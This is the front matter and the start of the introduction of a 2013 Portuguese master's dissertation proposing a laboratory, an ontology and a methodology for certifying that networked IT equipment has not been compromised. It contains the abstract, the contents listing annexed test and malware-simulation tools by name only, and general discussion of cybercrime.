repositorio.ipbeja.pt · . Certificação de Idoneidade de Equipamento Informático Integrado em Redes de Computadores i. Resumo A partir do momento que a Internet passou a conectar

INSTITUTO POLITÉCNICO DE BEJA

Escola Superior de Tecnologia e Gestão

Mestrado em Engenharia de Segurança Informática

“Certificação de Idoneidade de Equipamento Informático Integrado em Redes de Computadores”

Elaborado por:

Manuel Pedro Pires Coelho Nº12057

Beja

2013

INSTITUTO POLITÉCNICO DE BEJA

Escola Superior de Tecnologia e Gestão

Mestrado em Engenharia de Segurança Informática

“Certificação de Idoneidade de Equipamento Informático Integrado em Redes de Computadores”

Relatório de Dissertação de Mestrado apresentado na Escola Superior de Gestão e Tecnologia do Instituto Politécnico de Beja

Elaborado por:

Manuel Pedro Pires Coelho Nº12057

Orientado por:

Doutor Rui Miguel Soares Silva

Beja

2013

.

Certificação de Idoneidade de Equipamento Informático Integrado em Redes de Computadores

i .

Resumo

A partir do momento que a Internet passou a conectar todo o Mundo, os riscos e ameaças à Segurança da Informação foram potenciados. O Cibercrime cresce paralelamente com a evolução das aplicações, protocolos e serviços que são executadas no Ciberespaço, e aproveita o facto de na maioria dos casos existirem sempre vulnerabilidades que podem ser exploradas. Esta nova vaga de crimes traduz-se num crescente número de Ciberataques às mais variadas organizações e instituições, para obtenção, modificação ou destruição de Informação. Também a Ciberespionagem entre estados decorre da cada vez maior utilização e dependência das Tecnologias de Informação em todos os sectores das sociedades modernas. A obtenção de Informação sensível de uma nação pode ser fulcral numa altura de tensão permitindo que Ciberataques comprometam as suas estruturas tecnológicas. O Ciberespaço tende a ser apontado como o 5º Domínio da Guerra, relegando para segundo plano os tradicionais ataques armados. Os equipamentos informáticos com algum tipo de vulnerabilidade favorecem todo um novo volume de possibilidades criminosas, que tendem a ser mais gravosas quando envolvem estruturas governamentais, militares, financeiras ou outras organizações que de algum modo envolvam a soberania de um país. É comum que o equipamento informático adquirido pelas organizações não seja alvo de testes de validação comportamental, nem de uma certificação de idoneidade, sendo simplesmente inserido na rede da organização com apenas tradicionais aplicações de segurança instaladas como por exemplo antivírus e firewalls. Sem que exista uma Certificação de Idoneidade dos equipamentos não se pode à partida garantir que os mesmos não tenham sido comprometidos com algum tipo de malware nalgum ponto do seu ciclo de vida, facilitando assim o acesso a partir do exterior logo que o mesmo seja integrado numa rede de computadores. Com esta Dissertação pretende-se contribuir para o processo de garantia de segurança, através da especificação de um sistema que permita avaliar a idoneidade de equipamento informático integrado em redes de computadores.

.


ii .

Abstract

From the moment the Internet connects all places worldwide, the risks and threats to Information Security were enhanced. Cyber-crime grows in parallel with the evolution of applications and services that operate in Cyber-space, and takes advantage of the fact that in most cases there are always vulnerabilities that can be exploited. This new wave of crime is reflected in a growing number of Cyber-attacks on various organizations and institutions to obtain, modify or destroy Information. Also Cyber-espionage between states stems from the increasing use and dependence on Information Technologies in all sectors of modern societies. Obtaining sensitive Information of a nation can be crucial at a time of tension allowing Cyber-attacks can compromise their technological structures. Cyber-space is likely to be appointed as the 5th Field of War, relegating to the background the traditional armed attacks. IT Equipment favor a whole new volume of criminal possibilities, which tend to be more serious when they involve structures like government, military, financial, or other organizations that somehow involve the sovereignty of a country. It is common that purchased IT Equipment by organizations not to be subject of a behavioral validation, testing or a suitability certification, and simply inserted into the organization's network installed only with traditional security applications such as antivirus and firewalls. Without suitability certification of the IT Equipment we cannot be sure at the outset that they were not compromised with some sort of malware at some point of their life cycle, thus facilitating access from outside as soon as they are integrated into a computer network. This Dissertation aims to contribute to the process of ensuring safety, through the specification of a system to assess the suitability of IT Equipment integrated into computer networks.

.


iii .

Índice Geral Lista de Termos e Abreviaturas ..................................................................................... ix Capítulo 1 Introdução ...................................................................................................... 1

1.1. Eventos no Ciberespaço e Equipamentos Comprometidos ............................................................................. 5 1.1.1. Conflito entre a Rússia e a Geórgia ............................................................................................................ 6 1.1.2. Stuxnet ........................................................................................................................................................ 7 1.1.3. Microsoft - Operation b70 .......................................................................................................................... 9 1.1.4. Duqu .......................................................................................................................................................... 11 1.1.5. Flamer ....................................................................................................................................................... 12 1.1.6. Backdoor num Chip de utilização Militar ............................................................................................... 14 1.1.7. Assalto Chinês ao Pentágono ................................................................................................................... 16

Capítulo 2 Evolução Histórica ...................................................................................... 19 2.1. Enquadramento ............................................................................................................................................. 20 2.2. TCSEC - Trusted Computer System Evaluation Criteria ................................................................................ 20 2.3. ITSEC - Information Technology Security Evaluation Criteria ..................................................................... 23 2.4. US Combined Federal Criteria ....................................................................................................................... 24 2.5. CTCPEC - Canadian Trusted Computer Product Evaluation Criteria ........................................................... 25 2.6. Evolução dos Critérios de Avaliação .............................................................................................................. 25

Capítulo 3 Situação Internacional ............................................................................... 27 3.1. Enquadramento ............................................................................................................................................. 28 3.2. Manual de Talin sobre a Lei Internacional aplicável à Ciberguerra ............................................................ 28 3.3. Sistema de Certificação na União Europeia .................................................................................................. 29

3.3.1. Marcação CE – Indicativo de Conformidade ........................................................................................... 29 3.3.2. European Network and Information Security Agency - ENISA ............................................................. 34 3.3.3. European Committee for Standardization - CEN ................................................................................... 35 3.3.4. European Committee for Electrotechnical Standardization - CENLEC ................................................. 37 3.3.5. European Telecommunications Standards Institute - ETSI .................................................................. 38 3.3.6. European Computer Manufacturers Association - ECMA International .............................................. 38

3.4. Sistema de Certificação nos Estados Unidos da América .............................................................................. 40 3.4.1. CSA International ..................................................................................................................................... 41 3.4.2. NIST – National Institute of Standards and Technology ........................................................................ 42 3.4.3. CCEVS - NIAP Common Criteria Evaluation and Validation Scheme for IT Security ........................... 44

3.5. Sistema de Certificação na China .................................................................................................................. 45 3.5.1. CCC Mark - China Compulsory Certification Mark ................................................................................. 45

3.6. Sistema de Certificação na Rússia ................................................................................................................. 47 3.6.1. Normas GOST R ........................................................................................................................................ 47

3.7. ISO - International Organization for Standardization ................................................................................. 50 3.8. CC - Common Criteria for Information Technology Security Evaluation ..................................................... 53

Capítulo 4 Situação Portuguesa ................................................................................... 61 4.1. Enquadramento ............................................................................................................................................. 62 4.2. Lei 109/2009 – Lei do Cibercrime ................................................................................................................. 62 4.3. Serviço de Resposta a Incidentes de Segurança Informática – CERT.PT ...................................................... 64 4.4. Instituto Português de Acreditação – IPAC ................................................................................................... 65 4.5. Gabinete Nacional de Segurança - GNS ......................................................................................................... 69 4.6. Proposta de Estratégia Nacional de Cibersegurança ................................................................................... 71

Capítulo 5 Proposta de Laboratório de Certificação de Equipamento Informático ....................................................................................................................... 75

5.1 Enquadramento ............................................................................................................................................. 76 5.2 Acreditação e Certificação do Laboratório ................................................................................................... 77

5.2.1 Avaliação das Competências Técnicas do Laboratório .......................................................................... 77 5.2.2 Requisitos para a Acreditação ................................................................................................................. 78 5.2.3 O Processo de Acreditação ....................................................................................................................... 79 5.2.4 O Reconhecimento da Acreditação.......................................................................................................... 80

5.3 Requisitos de Gestão ...................................................................................................................................... 81

.


iv .

5.3.1. Organização .............................................................................................................................................. 82 5.3.2. Sistema de Gestão ..................................................................................................................................... 85 5.3.3. Controlo de Documentação ..................................................................................................................... 87 5.3.4. Análise de Consultas, Propostas e Contratos .......................................................................................... 88 5.3.5. Subcontratação de Testes e Avaliações .................................................................................................. 89 5.3.6. Aquisição de Produtos e Serviços............................................................................................................ 89 5.3.7. Serviços ao Cliente ................................................................................................................................... 90 5.3.8. Reclamações ............................................................................................................................................. 90 5.3.9. Controlo de Não Conformidade ............................................................................................................... 91 5.3.10. Melhorias .................................................................................................................................................. 92 5.3.11. Ações Corretivas ....................................................................................................................................... 92 5.3.12. Ações Preventivas .................................................................................................................................... 93 5.3.13. Controlo de Registos ................................................................................................................................ 93 5.3.14. Auditorias Internas .................................................................................................................................. 94 5.3.15. Revisões do Sistema ................................................................................................................................. 95

5.4 Requisitos Técnicos ........................................................................................................................................ 96 5.4.1 Fatores Humanos ..................................................................................................................................... 96 5.4.2 Instalações e Condições Ambientais ....................................................................................................... 97 5.4.3 Métodos de Teste e Avaliação e a sua Validação .................................................................................... 99 5.4.4 Fatores Técnicos ..................................................................................................................................... 101 5.4.5 Equipamentos ......................................................................................................................................... 102 5.4.6 Rastreabilidade....................................................................................................................................... 104 5.4.7 Manuseamento dos Equipamentos de Teste ........................................................................................ 104 5.4.8 Garantia da Qualidade dos Testes e Avaliações ................................................................................... 104 5.4.9 Apresentação de Resultados .................................................................................................................. 105

5.5 Equipamentos Necessários .......................................................................................................................... 105 5.5.1 Equipamentos Informáticos .................................................................................................................. 105 5.5.2 Equipamentos Elétricos ......................................................................................................................... 106 5.5.3 Equipamentos Genéricos ....................................................................................................................... 106

5.6 Aplicações Necessárias ................................................................................................................................ 107 5.6.1 Aplicações de Gestão .............................................................................................................................. 107 5.6.2 Aplicações Técnicas ................................................................................................................................ 107

5.7 Consumíveis Necessários ............................................................................................................................. 108 Capítulo 6 Proposta de Ontologia de Equipamento Informático ........................ 109

6.1. Enquadramento ........................................................................................................................................... 110 6.2. Ontologia de Equipamento Informático ...................................................................................................... 110 6.3. Metodologia, Linguagem e Aplicações Utilizadas ....................................................................................... 112 6.4. Metodologia de Formalização da Ontologia ............................................................................................... 114

6.4.1 Determinar o Domínio e Âmbito da Ontologia ..................................................................................... 114 6.4.2 Considerar a utilização de Ontologias existentes ................................................................................. 115 6.4.3 Enumerar termos importantes da Ontologia ....................................................................................... 116 6.4.4 Definir Classes e a sua Hierarquia ......................................................................................................... 117 6.4.5 Definir as Propriedades das Classes (Slots) ......................................................................................... 125 6.4.6 Definir as Facetas das Propriedades ..................................................................................................... 126 6.4.7 Criar Instâncias das Classes (Indivíduos) ............................................................................................. 127

6.5. Ferramenta para a Implementação da Ontologia ...................................................................................... 127 6.6. Formalização da Ontologia ......................................................................................................................... 128

6.6.1 Criação da Ontologia .............................................................................................................................. 128 6.6.2 Criação das Classes da Ontologia .......................................................................................................... 130 6.6.3 Criação dos Indivíduos da Ontologia..................................................................................................... 132 6.6.4 Criação das Propriedades da Ontologia ................................................................................................ 141 6.6.5 Atribuição das Propriedades aos Indivíduos ........................................................................................ 143 6.6.6 Utilização de um Classificador (Reasoner) ........................................................................................... 146 6.6.7 Publicação e Partilha da Ontologia ........................................................................................................ 149

6.7. Sistematização da Ontologia ....................................................................................................................... 150 Capítulo 7 Proposta de Metodologia de Certificação de Equipamento Informático ..................................................................................................................... 155

.


v .

7.1 Enquadramento ........................................................................................................................................... 156 7.2 Arquitetura da Metodologia ........................................................................................................................ 156 7.3 Classificação das Entidades Envolvidas ...................................................................................................... 157 7.4 Registo e Marcação do Equipamento .......................................................................................................... 157 7.5 Sistematização da Ontologia ....................................................................................................................... 158 7.6 Testes e Avaliações ....................................................................................................................................... 158 7.7 Nível de Garantia de Idoneidade ................................................................................................................. 159 7.8 Relatório Técnico e Certificação .................................................................................................................. 160 7.9 Acreditação da Certificação do Equipamento............................................................................................. 161

Capítulo 8 Implementação da Metodologia de Certificação de Equipamento Informático ..................................................................................................................... 163

8.1. Enquadramento ........................................................................................................................................... 164 8.2. Classificação das Entidades Envolvidas ...................................................................................................... 164 8.3. Registo e Marcação do Equipamento .......................................................................................................... 165 8.4. Sistematização da Ontologia ....................................................................................................................... 165 8.5. Testes e Avaliações ....................................................................................................................................... 169

8.5.1 Captura e Análise de Tráfego de Rede .................................................................................................. 169 8.5.2 Injeção de Tráfego de Rede recolhido ................................................................................................... 172 8.5.3 Informação sobre testes e avaliações fornecida pelo fabricante ........................................................ 173 8.5.4 Análises da Classe C – Comportamentos relacionados diretamente com comunicações .................. 173 8.5.5 Análises da Classe D – Comportamentos não relacionados diretamente com comunicações .......... 195 8.5.6 Testes de Penetração ............................................................................................................................. 200 8.5.7 Testes com Aplicações Específicas ........................................................................................................ 213

8.6. Nível de Garantia de Idoneidade ................................................................................................................. 214 8.7. Relatório Técnico e Certificação .................................................................................................................. 214 8.8. Acreditação da Certificação do Equipamento............................................................................................. 215

Capítulo 9 Conclusão e Trabalho Futuro .................................................................. 217 9.1. Conclusão ..................................................................................................................................................... 218 9.2. Trabalho Futuro........................................................................................................................................... 220

Anexos .............................................................................................................................. 223 Anexo 1 – Lista de Produtos Certificados pelo Common Criteria – Estatísticas ......................................................... 224 Anexo 2 – Aplicação “captura_pacotes.py” ................................................................................................................ 226 Anexo 3 – Aplicação “injeta_pacotes.py” ................................................................................................................... 230 Anexo 4 – Aplicação “injeta_maus_pacotes.py” ......................................................................................................... 233 Anexo 5 – Aplicação “cliente_malware.py” ................................................................................................................ 236 Anexo 6 – Aplicação “servidor_malware.py” ............................................................................................................. 242 Anexo 7 – Exemplos de Informação Recolhida ............................................................................................................ 245

Referências ..................................................................................................................... 251

.


vi .

Índice de Figuras Figura 1 - Trusted Computer System Evaluation Criteria (fonte: http://en.wikipedia.org/wiki/Trusted_Computer_System_Evaluation_Criteria) ....................................................... 20 Figura 2 - Information Technology Security Evaluation Criteria (Fonte: [23]) .......................................................... 23 Figura 3 - Communications Security Establishment Canada (Fonte: http://en.wikipedia.org/wiki/Communications_Security_Establishment) ................................................................. 25 Figura 4 - Evolução dos Critérios de Avaliação .............................................................................................................. 26 Figura 5 - Manual de Talin (Fonte: [27]) ......................................................................................................................... 28 Figura 6 - Marcação CE - Indicativo de Conformidade (Fonte: http://eur-lex.europa.eu/) ....................................... 29 Figura 7 - Rato Microsoft sem marcação de conformidade CE ...................................................................................... 31 Figura 8 - Router ZTE com marcação de conformidade CE ........................................................................................... 32 Figura 9 - European Network and Information Security Agency (Fonte: http://www.enisa.europa.eu/) ................ 34 Figura 10 - European Committee for Standardization (Fonte: http://www.cen.eu/) .......................................... 35 Figura 11 - European Committee for Electrotechnical Standardization (Fonte: http://www.cenelec.eu/) .............. 37 Figura 12 - European Telecommunications Standards Institute (Fonte: http://www.etsi.org/) .............................. 38 Figura 13 - ECMA International (Fonte: http://www.ecma-international.org/) ......................................................... 38 Figura 14 - CSA International (Fonte: http://www.csa-international.org/) ................................................................ 41 Figura 15 - Performance Measurement Guide for Information Security - NIST (Fonte: http://www.nist.gov/) ...... 42 Figura 16 - NIAP Common Criteria Evaluation and Validation Scheme for IT Security (Fonte: http://www.niap-ccevs.org ............................................................................................................................................................................ 44 Figura 17 – CCC Mark ....................................................................................................................................................... 45 Figura 18 - Certificação na Rússia GOST-R (Fonte: http://www.gost-r.info/gost-r.php) ........................................... 47 Figura 19 - International Organization for Standardization (Fonte: http://www.iso.org) ........................................ 50 Figura 20 - Common Criteria (Fonte: http://www.commoncriteriaportal.org/) ....................................................... 53 Figura 21 - Procuradoria Geral da República (Fonte: http://cibercrime.pgr.pt/index.html) ..................................... 62 Figura 22 - Serviço de Resposta a Incidentes de Segurança Informática (Fonte: http://www.cert.pt/) ................... 64 Figura 23 - Instituto Português de Acreditação, I.P. (Fonte: http://www.ipac.pt/) .................................................... 65 Figura 24 - Características do Instituto Português de Acreditação, I.P. (IPAC) (Fonte: http://www.ipac.pt/ipac/funcao.asp) ............................................................................................................................ 67 Figura 25 - Gabinete Nacional de Segurança (Fonte: http://www.gns.gov.pt) .......................................................... 69 Figura 26 - Acreditações efetuadas pelo Instituto Português de Acreditação, I.P. (IPAC) (Fonte: http://www.ipac.pt/ipac/funcao.asp) ............................................................................................................................ 78 Figura 27 - Processo de Acreditação do Laboratório por parte do IPAC (Fonte: http://www.ipac.pt/ipac/funcao.asp) ............................................................................................................................ 80 Figura 28 - Organograma que ilustra o Modelo de Gestão do Laboratório de Certificação de Equipamento Informático ....................................................................................................................................................................... 85 Figura 29 - Ecrã inicial do Protégé-OWL editor ........................................................................................................... 129 Figura 30 - Criação e adição de Anotações na Ontologia ativa no Protégé ................................................................. 129 Figura 31 - Anotações da Ontologia ativa no Protégé .................................................................................................. 130 Figura 32 - Criação de Classes na Ontologia ativa no Protégé ..................................................................................... 131 Figura 33 - Atribuição da Propriedade Disjoint às Classes na Ontologia ativa no Protégé ....................................... 131 Figura 34 - Criação dos Indivíduos na Ontologia ativa no Protégé ............................................................................. 132 Figura 35 - Visualização de Membros de Classes na Ontologia ativa no Protégé ....................................................... 133 Figura 36 - Descrição dos Testes e Análises a efetuar às Comunicações de Rede Com Fios ............................... 133 Figura 38 – Propriedade Transitiva entre Classes no Protégé .................................................................................... 141 Figura 39 – Criação da Propriedade doAnalysis na Ontologia ativa no Protégé ........................................................ 142 Figura 40 - Criação da Propriedade doAllAnalysis na Ontologia ativa no Protégé .................................................... 143 Figura 41 - Atribuição de Object Property na Ontologia ativa no Protégé ................................................................. 144 Figura 42 - Atribuição de Data Property na Ontologia ativa no Protégé .................................................................... 145 Figura 43 - Invocação do Reasoner na Ontologia ativa no Protégé ........................................................................ 147 Figura 44 - Hierarquia Inferida de Classes na Ontologia ativa no Protégé ................................................................. 148 Figura 45 - Visualização Gráfica da Ontologia ativa no Protégé .................................................................................. 149 Figura 46 - Partilha de Ontologia no repositório web do Protégé .............................................................................. 150 Figura 47 - Esquema da Arquitetura da Metodologia de Certificação de Equipamento Informático ....................... 156 Figura 48 –Computador Testado ................................................................................................................................... 168 Figura 49 - Formato de gravação do Wireshark ........................................................................................................... 170 Figura 50 - Equipamentos utilizados nos testes e avaliações ...................................................................................... 174 Figura 51 - Cenário 1: Análise do Computador em LAN fictícia, sem tráfego e sem ligação à Internet .................... 175 Figura 52 - Análise de Comunicações Cenário 1........................................................................................................... 176

.


vii .

Figura 53 - Cenário 2: Análise do Computador em LAN fictícia, com tráfego e sem ligação à Internet .................... 177 Figura 54 - Cenário 3: Análise do Computador em LAN fictícia, com tráfego e com ligação à Internet ................... 178 Figura 55 - Captura de Tráfego de Rede ....................................................................................................................... 179 Figura 56 - Injeção de Tráfego de Rede......................................................................................................................... 180 Figura 57 - injeta_maus_pacotes.py: exemplo de utilização ........................................................................................ 183 Figura 58 - Segmento TCP (Fonte [82]) ........................................................................................................................ 184 Figura 59 – Deteção de Pacotes potencialmente maliciosos no Wireshark ............................................................... 185 Figura 60 - Deteção de Pacotes potencialmente maliciosos no Wireshark ................................................................ 185 Figura 61 - Deteção de Pacotes potencialmente maliciosos no Wireshark ................................................................ 186 Figura 62 - Utilização do PyInstaller ............................................................................................................................. 188 Figura 63 - Ligação Banda Larga e IP de Portátil ......................................................................................................... 189 Figura 64 - servidor_malware.py: aguarda ligação por parte do Cliente .................................................................... 190 Figura 65 - cliente_malware.py: aguarda ligação por parte do Servidor .................................................................... 190 Figura 66 – servidor_malware.py: menu de opções de ataque ................................................................................... 190 Figura 67 - cliente_malware.py: ligação efetuada e envio de Informação .................................................................. 191 Figura 68 - servidor_malware.py: receção de ficheiro ................................................................................................. 191 Figura 69 - Serviços Ativos no Sistema para o Cenário 1............................................................................................. 196 Figura 70 - Processos Ativos no Sistema para o Cenário 1 .......................................................................................... 197 Figura 71 - Ramos de Aplicação da Análise de Vulnerabilidades da Norma PTES (Fonte: [84]) .............................. 202 Figura 72 - Aplicações de Information Gathering do Kali Linux ................................................................................. 204 Figura 73 - Utilização no nslookup para obter informação do servidor da Resialentejo .......................................... 204 Figura 74 - Utilização do whois para obter informação do servidor da Resialentejo ................................................ 205 Figura 75 - Exemplo da utilização da Aplicação Zenmap ............................................................................................ 208 Figura 76 - Exemplo da utilização da Aplicação Zenmap ............................................................................................ 209 Figura 77 - Exemplo de Utilização da Aplicação NESSUS ............................................................................................ 209 Figura 78 - Resultado da Utilização da Aplicação NESSUS .......................................................................................... 210 Figura 79 – Vulnerabilidade encontrada pela Aplicação NESSUS ............................................................................... 210 Figura 80 - Vulnerabilidade encontrada pela Aplicação NESSUS ................................................................................ 211 Figura 81 - Exemplo de Marcação da Certificação de Idoneidade .............................................................................. 214 Figura 82 - Lista de Produtos Certificados pelo CC por Categoria [47] ...................................................................... 224 Figura 83 - Lista de Produtos Certificados pelo CC por Nível de Garantia e Data de Certificação [47] .................... 224 Figura 84 - Lista de Produtos Certificados pelo CC por Esquema e Nível de Garantia [47] ...................................... 225

.


viii .

Índice de Tabelas Tabela 1 - Classes do Orange Book .................................................................................................................................. 22 Tabela 2 - Lista de Organizações Governamentais que contribuíram para o desenvolvimento do Common Criteria ........................................................................................................................................................................................... 54 Tabela 3 - Tabela representativa do EAL5 do Common Criteria ................................................................................... 58 Tabela 4 - Sistema Nacional de Acreditação do IPAC (Fonte: http://www.ipac.pt/ipac/funcao.asp) ...................... 68 Tabela 5 - Critérios Específicos a cumprir para acreditação pelo IPAC (Fonte: http://www.ipac.pt/ipac/funcao.asp) ............................................................................................................................ 69 Tabela 6 – Exemplo de Termos Importantes da Ontologia a desenvolver ................................................................. 116 Tabela 7 - Classificação dos Equipamentos Informáticos em Classes ......................................................................... 122 Tabela 8 - Classificação dos Comportamentos a Analisar em Classes ........................................................................ 124 Tabela 9 - Exemplo de Termos e Descrições candidatos a Propriedades das Classes da Ontologia a desenvolver 125 Tabela 10 - Descrição das Análises a realizar ao Equipamento Informático .............................................................. 140 Tabela 11 - Proposta de Propriedades para a Classe A de Equipamento Informático .............................................. 145 Tabela 12 - Proposta de Propriedades para a Classe B de Equipamento Informático .............................................. 146 Tabela 13 – Exemplo de Sistematização de Ontologia para um Computador de Secretária ..................................... 153 Tabela 14 - Classificação das Entidades Envolvidas no Modelo de Certificação ........................................................ 157 Tabela 15 - Níveis de Garantia de Idoneidade .......................................................................................................... 159 Tabela 16 - Classificação das Entidades Envolvidas .................................................................................................... 164 Tabela 17 - Sistematização da Ontologia para o Computador Testado ...................................................................... 167 Tabela 18 - Resumo das Análises realizadas em cada Cenário.................................................................................... 182 Tabela 19 - Funcionamento básico da aplicação cliente .............................................................................................. 187 Tabela 20 - Funcionamento básico da aplicação servidor ........................................................................................... 187 Tabela 21 - Lista de opções possíveis de Informação que se pode obter da vítima ................................................... 189 Tabela 22 - Nível de Garantia obtido no exemplo de aplicação da Metodologia de Certificação proposta ...... 214

.


ix .

Lista de Termos e Abreviaturas Apresenta-se uma lista de termos e abreviaturas utilizados ao longo da Dissertação, com o objetivo de facilitar uma correta leitura e análise da mesma.

.


x .

C&C - Command and Control CC - Common Criteria for Information Technology Security Evaluation CCC Mark - China Compulsory Certification Mark CCEVS - Common Criteria Evaluation and Validation Scheme for IT Security CCRA - Common Criteria Recognition Arrangement CE – Marcação CE, Indicativo de Conformidade CEM - Common Methodology for Information Technology Security Evaluation CEN - European Committee for Standardization CENELEC - European Committee for Electrotechnical Standardization CERT.PT - Serviço de Resposta a Incidentes de Segurança Informática CIS - Commonwealth of Independent States CNCA - Certification and Accreditation Administration COFC - Commercially Oriented Functionality Class for Security Evaluation CQC - China Quality Certification Centre CSIRT - Computer Security Incident Response Team CTCPEC - Canadian Trusted Computer Product Evaluation Criteria DARPA - Defense Advanced Research Projects Agency DDoS - Distributed Denial of Service DLL - Dynamic Link Libraries DoD - United States Department of Defense EA - European co-operation for Accreditation EAL - Evaluation Assurance Level EASC - Euro-Asian Council for Standardization, Metrology and Certification ECMA International - European Computer Manufacturers Association E-COFC - Extended Commercially Oriented Functionality Class for Security Evaluation ENISA - European Network and Information Security Agency ETSI - European Telecommunications Standards Institute FPGA – Field Programmable Gate Array GNS - Gabinete Nacional de Segurança HPKB - High Performance Knowledge Base Program IAF - International Accreditation Forum IANA - Internet Assigned Numbers Authority IEC - International Electrotechnical Commission ILAC - International Laboratory Accreditation Cooperation IPAC - Instituto Português de Acreditação, I.P. ISO - International Organization for Standardization IT – Information Technology ITSEC - Information Technology Security Evaluation Criteria JTAG - Joint Test Action Group JTC - Joint Technical Committee KRSs - Knowledge Representation Systems MQ - Manual da Qualidade NATO CCD COE - Cooperative Cyber Defense Centre of Excellence NIAP - National Information Assurance Partnership NIST - National Institute of Standards and Technology NSA - National Security Agency NVLAP - National Voluntary Laboratory Accreditation Program

.


xi .

OKBC - Open Knowledge Base Conectivity Protocol OWL - Web Ontology Language PCM - Presidência do Conselho de Ministros PMGIS - Performance Measurement Guide for Information Security PP - Protection Profile PTES - Penetration Testing Execution Standard PREMAC - Plano de Redução e Melhoria da Administração Central RAT - Remote Access Trojan RCTS - Rede Ciência, Tecnologia e Sociedade RDF - Resource Description Framework SCEE - Sistema de Certificação Eletrónica do Estado SFDA - State Food and Drug Administration SFR - Security Functional Requirements SGSI - Sistema de Gestão de Segurança da Informação SI - Sistema de Informação SRM - Standard Reference Materials ST - Security Target Tallinn Manual - Manual on the International Law Applicable to Cyber Warfare TCSEC - Trusted Computer System Evaluation Criteria TI – Tecnologias de Informação TNI - Trusted Network Interpretation of the TCSEC TNIEG - Trusted Network Interpretation Environments Guideline TOE - Target of Evaluation UE - União Europeia W3C - World Wide Web Consortium

.


xii .

.


1 .

Capítulo 1 Introdução

Este Capítulo efetua um enquadramento da Dissertação. É dado ênfase à importância das Tecnologias de Informação nas sociedades modernas e como consequentemente a Internet se apresenta como um instrumento de trabalho cada vez mais essencial. A espionagem industrial e de estado são facilitadas pela interligação das infraestruturas de rede das organizações à Internet. As ameaças à Segurança da Informação crescem diariamente e são cada vez mais diferenciadas, dando azo a uma nova vaga de ameaças como o Cibercrime e a Ciberguerra. Assim, atualmente deve colocar-se em dúvida a idoneidade de equipamento informático, mesmo aquando da sua aquisição. Apresentam-se alguns exemplos de eventos no Ciberespaço e de equipamentos comprometidos.

.


Capítulo 1 - Introdução

2 .

Desde os primórdios da civilização que o Homem sempre tentou comunicar, e tal como ele as formas como o fez foram evoluindo, de tal modo que existem hoje uma variedade de linguagens e canais de comunicação inimaginável há alguns milhares de anos atrás.

A comunicação leva a que exista troca de Informação entre as partes envolvidas. Uma definição possível de Informação será: um conjunto de dados, independentemente do seu tipo e suporte físico, devidamente organizados de forma a terem algum significado sobre um determinado tema. O modo como a Informação é criada, tratada, armazenada e acedida tem evoluído vertiginosamente. Nas últimas décadas a troca de Informação tornou-se ação fundamental para o normal e eficiente funcionamento das sociedades.

As Tecnologias de Informação – TI, resultantes da convergência entre a informática e as telecomunicações, têm hoje em dia uma universalidade indiscutível e são transversais e essenciais a todos os sectores das sociedades ditas modernas: governo, militar, empresarial, financeiro, saúde, comunicações, educação, e até entretenimento. Todos estes sectores dependem cada vez mais de equipamento informático para funcionarem e cumprirem eficientemente os seus objetivos. Vivemos o reflexo da impressionante evolução tecnológica das últimas décadas.

O termo Sociedade de Informação espelha isso mesmo, não só uma constante evolução da Sociedade e do Conhecimento Humano, mas também uma evolução no modo como a Informação é produzida, difundida e acedida, tendo as TI e a Globalização um papel ativo nesta Sociedade dos “tempos modernos”. A comunicação tem por base a troca de Informação, e fruto desta evolução surgem novas formas e canais de comunicação. É cliché, mas também verdade, dizer-se que “o Mundo é cada vez mais uma Aldeia Global”. É-o porque tudo está ligado a tudo! Raros são os pontos no Planeta onde não existe uma ligação à Internet, e onde falharem os métodos mais tradicionais de o fazer, eventualmente pode em último reduto utilizar-se uma ligação via satélite. Surge assim um paralelismo entre o Mundo Real tal e qual o conhecemos, e um Mundo Virtual, onde as vias de comunicações são as redes de computadores e a Internet, normalmente designado de Ciberespaço.

A utilização da Internet é atualmente tão banal quanto essencial. Todos os dias circulam neste “admirável Mundo novo” quantidades astronómicas de bits que são sinónimo de Informação que viaja pelas redes informáticas. O aumento exponencial do volume, velocidade e tipo de Informação capaz de circular neste meio, é ele próprio fruto da evolução da própria Internet. De acordo com a CISCO, em 2016 o tráfego IP global anual ultrapassará os 1.3 zettabytes1. É também estimado que o tráfego terá uma taxa de crescimento anual aproximadamente de 29% entre 2011 e

1 1 zettabytes = 1021 bytes

.



3 .

2016 e que o número de dispositivos ligados a redes IP será aproximadamente três vezes superior à população mundial no final de 2016 [1].

A complexidade e heterogeneidade dos sistemas e equipamentos que atualmente compõem a Internet e que são utilizados para lhe aceder é tal que não é de uma forma trivial que se consegue efetuar a sua enumeração e descrição. A Internet está em constante mudança, e à medida que são desenvolvidas novas funcionalidades nos equipamentos (hardware) e aplicações (software), são implementados novos protocolos de modo a refletirem essas inovações, e os existentes são revistos e adaptados de modo a acompanharem a evolução tecnológica.

A partir do momento que as TI se tornaram responsáveis por praticamente tudo o que diz respeito ao tratamento de Informação e que a Internet passou a conectar todo o Mundo de modo a partilhar essa Informação, apercebemo-nos facilmente que o Ciberespaço veio potenciar os riscos e ameaças à Segurança da Informação, seja qual for o seu conteúdo ou contexto de aplicação.

Como em qualquer outro local onde existam Bens, Serviços ou Informação relevantes, também no Ciberespaço existe o interesse de os obter ilicitamente por parte de criminosos, doravante designados de Cibercriminosos, e serão igualmente aqueles com mais vulnerabilidades que estarão mais sujeitos a serem afetados. Ao mesmo tempo que os ataques são cada vez mais comuns, são também mais elaborados, e é importante que existam meios, técnicos e humanos, que os consigam travar ou pelo menos minimizar as suas consequências.

O Cibercrime cresce paralelamente com a evolução das aplicações, protocolos e serviços que correm sobre a Internet, e aproveita o facto de na maioria dos casos existirem sempre vulnerabilidades que podem ser exploradas, tanto a nível de aplicações como de equipamentos. Esta nova forma de criminalidade assume hoje em dia proporções gigantescas, quer em número e tipo de ataques, quer nos custos envolvidos. De acordo com a Symantec, em 2011 os custos globais relativos às perdas financeiras diretas e ao tempo gasto a lidar com as consequências e efeitos deste tipo de crimes ascenderam aos 388 biliões de dólares [2].

Sendo as TI utilizadas em todos os sectores das sociedades modernas, abrangem também áreas sensíveis como a governamental e militar. O Cibercrime atenta cada vez mais a estas áreas, onde surge também a Ciberespionagem com objetivos semelhantes aos do Mundo terreno. O interesse pelos diferentes estados em obter Informação sobre segredos e planos de estado, redes de comunicações internas, redes de transporte, informação financeira, edifícios estratégicos, ou qualquer outra Informação sensível que possa comprometer a soberania de uma nação, tem vindo a crescer e pode ser fulcral numa altura de tensão.

.



4 .

